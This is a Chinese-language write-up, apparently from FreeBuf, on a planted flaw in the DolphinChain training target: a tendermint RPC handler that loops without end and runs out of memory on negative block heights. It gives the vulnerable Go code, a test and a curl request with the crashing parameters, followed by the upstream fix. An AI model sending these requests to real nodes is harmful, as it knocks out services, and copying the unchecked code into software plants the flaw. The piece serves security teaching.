前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >海豚链漏洞分析 [DC-01] RPC请求因For-loop导致OOM

海豚链漏洞分析 [DC-01] RPC请求因For-loop导致OOM

作者头像
FB客服
发布2019-05-14 14:27:02
8340
发布2019-05-14 14:27:02
举报
文章被收录于专栏:FreeBufFreeBuf

关于DolphinChain

DolphinChain 是由玄猫安全实验室维护的区块链应用靶机,旨在教授区块链应用程序安全课程。您可以使用 DolphinChain 进行安装和练习。

DolphinChain 基于 tendermint v0.31.2 (WARNING: ALPHA SOFTWARE) 开发,是当时的 tendermint 最新版本。

在这个版本里(v1.0.0),我们在DolphinChain设置了10多个缺陷。任何白帽子与区块链开发者都可以尝试挖掘漏洞。DolphinChain目的在于帮助安全人员提高技能,同时帮助区块链开发者更好地了解保护区块链应用程序的过程。

项目官网:http://dolphinchain.org/

项目地址:https://github.com/XuanMaoSecLab/DolphinChain

漏洞标签

RPC For-loop OOM

漏洞描述

这是一个来自 hackerone 提交的关于 RPC 的漏洞。恶意的 BlockchainInfo 请求可能会导致无限循环,最终导致内存耗尽导致崩溃。

漏洞分析

文件:rpc/core/blocks.go

代码语言:javascript
复制
func BlockchainInfo(ctx *rpctypes.Context, minHeight, maxHeight int64) (*ctypes.ResultBlockchainInfo, error) {
if minHeight == 0 {
minHeight = 1
}
if maxHeight == 0 {
maxHeight = blockStore.Height()
} else {
maxHeight = cmn.MinInt64(blockStore.Height(), maxHeight)
}
// maximum 20 block metas
const limit int64 = 20
minHeight = cmn.MaxInt64(minHeight, maxHeight-limit)
logger.Debug("BlockchainInfoHandler", "maxHeight", maxHeight, "minHeight", minHeight)
if minHeight > maxHeight {
return nil, fmt.Errorf("min height %d can't be greater than max height %d", minHeight, maxHeight)
}
blockMetas := []*types.BlockMeta{}
for height := maxHeight; height >= minHeight; height-- { // for-loop
blockMeta := blockStore.LoadBlockMeta(height)
blockMetas = append(blockMetas, blockMeta)
}
return &ctypes.ResultBlockchainInfo{blockStore.Height(), blockMetas}, nil
}

攻击者可以发送如下参数值:

代码语言:javascript
复制
minHeight = -9223372036854775808 (min int64)
maxHeight = -9223372036854775788 (minHeight + 20)

注意到maxHeight = cmn.MinInt64(blockStore.Height(), maxHeight),其中 MinInt64 为从两个参数选择较小的,所以我们使用负值的 maxHeight。

注意循环语句 for height := maxHeight; height >= minHeight; height-- {},代码中的 for-loop 会可以无限次循环执行。当达到循环次数 9223372036854775807 (max int64) ,还能继续进行。每次无法查找块时,它会向 blockMetas 向量追加一个nil。最终,这将增长到足以耗尽服务器上的内存。

复现或测试步骤

此处可以有两种复现方式。

使用 go test 脚本测试

代码语言:javascript
复制
// XuanMao : Bug test
func TestBlockchainInfoForloop(t *testing.T) {
config := cfg.ResetTestRoot("node_node_test")
defer os.RemoveAll(config.RootDir)
// create & start node
n, err := DefaultNewNode(config, log.TestingLogger())
require.NoError(t, err)
err = n.Start()
    require.NoError(t, err)

c := struct {
min, max     int64
}{
-9223372036854775808, -9223372036854775788,
}
BlockchainInfo(c.min,c.max)
}

可以看到内存持续上升,几分钟后程序 crash.

启动节点复现

开启一个节点,并向节点接口(e.g. 127.0.0.1:26657),发送以下请求:

代码语言:javascript
复制
curl 'http:///blockchain?minHeight=-9223372036854775808&maxHeight=-9223372036854775788'

修复

本漏洞相关修复见 : Fix

本漏洞在版本 v0.22.6 中修复。

修复方法:

增加 filterMinMax 对输入的参数值进行检查处理。

检查参数值不小于0; min 小于 max; 当 min 为 0 时,设置为 1 ,当 max 为 0 ,设置为最后区块高度。

代码语言:javascript
复制
// error if either min or max are negative or min < max
// if 0, use 1 for min, latest block height for max
// enforce limit.
// error if min > max
func filterMinMax(height, min, max, limit int64) (int64, int64, error) {
// filter negatives
if min < 0 || max < 0 {
return min, max, fmt.Errorf("heights must be non-negative")
}
// adjust for default values
if min == 0 {
min = 1
}
if max == 0 {
max = height
}
// limit max to the height
max = cmn.MinInt64(height, max)
// limit min to within `limit` of max
// so the total number of blocks returned will be `limit`
min = cmn.MaxInt64(min, max-limit+1)
if min > max {
return min, max, fmt.Errorf("min height %d can't be greater than max height %d", min, max)
}
return min, max, nil
}

相关代码

参考漏洞代码:https://github.com/tendermint/tendermint/blob/v0.22.5/rpc/core/blocks.go

本漏洞相关 Issue 见 : https://github.com/tendermint/tendermint/issues/2049

fix:https://github.com/tendermint/tendermint/commit/8dc655dad25b0b04f271cb66ba73fd504db3195d

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-05-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 修复
  • 相关代码
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档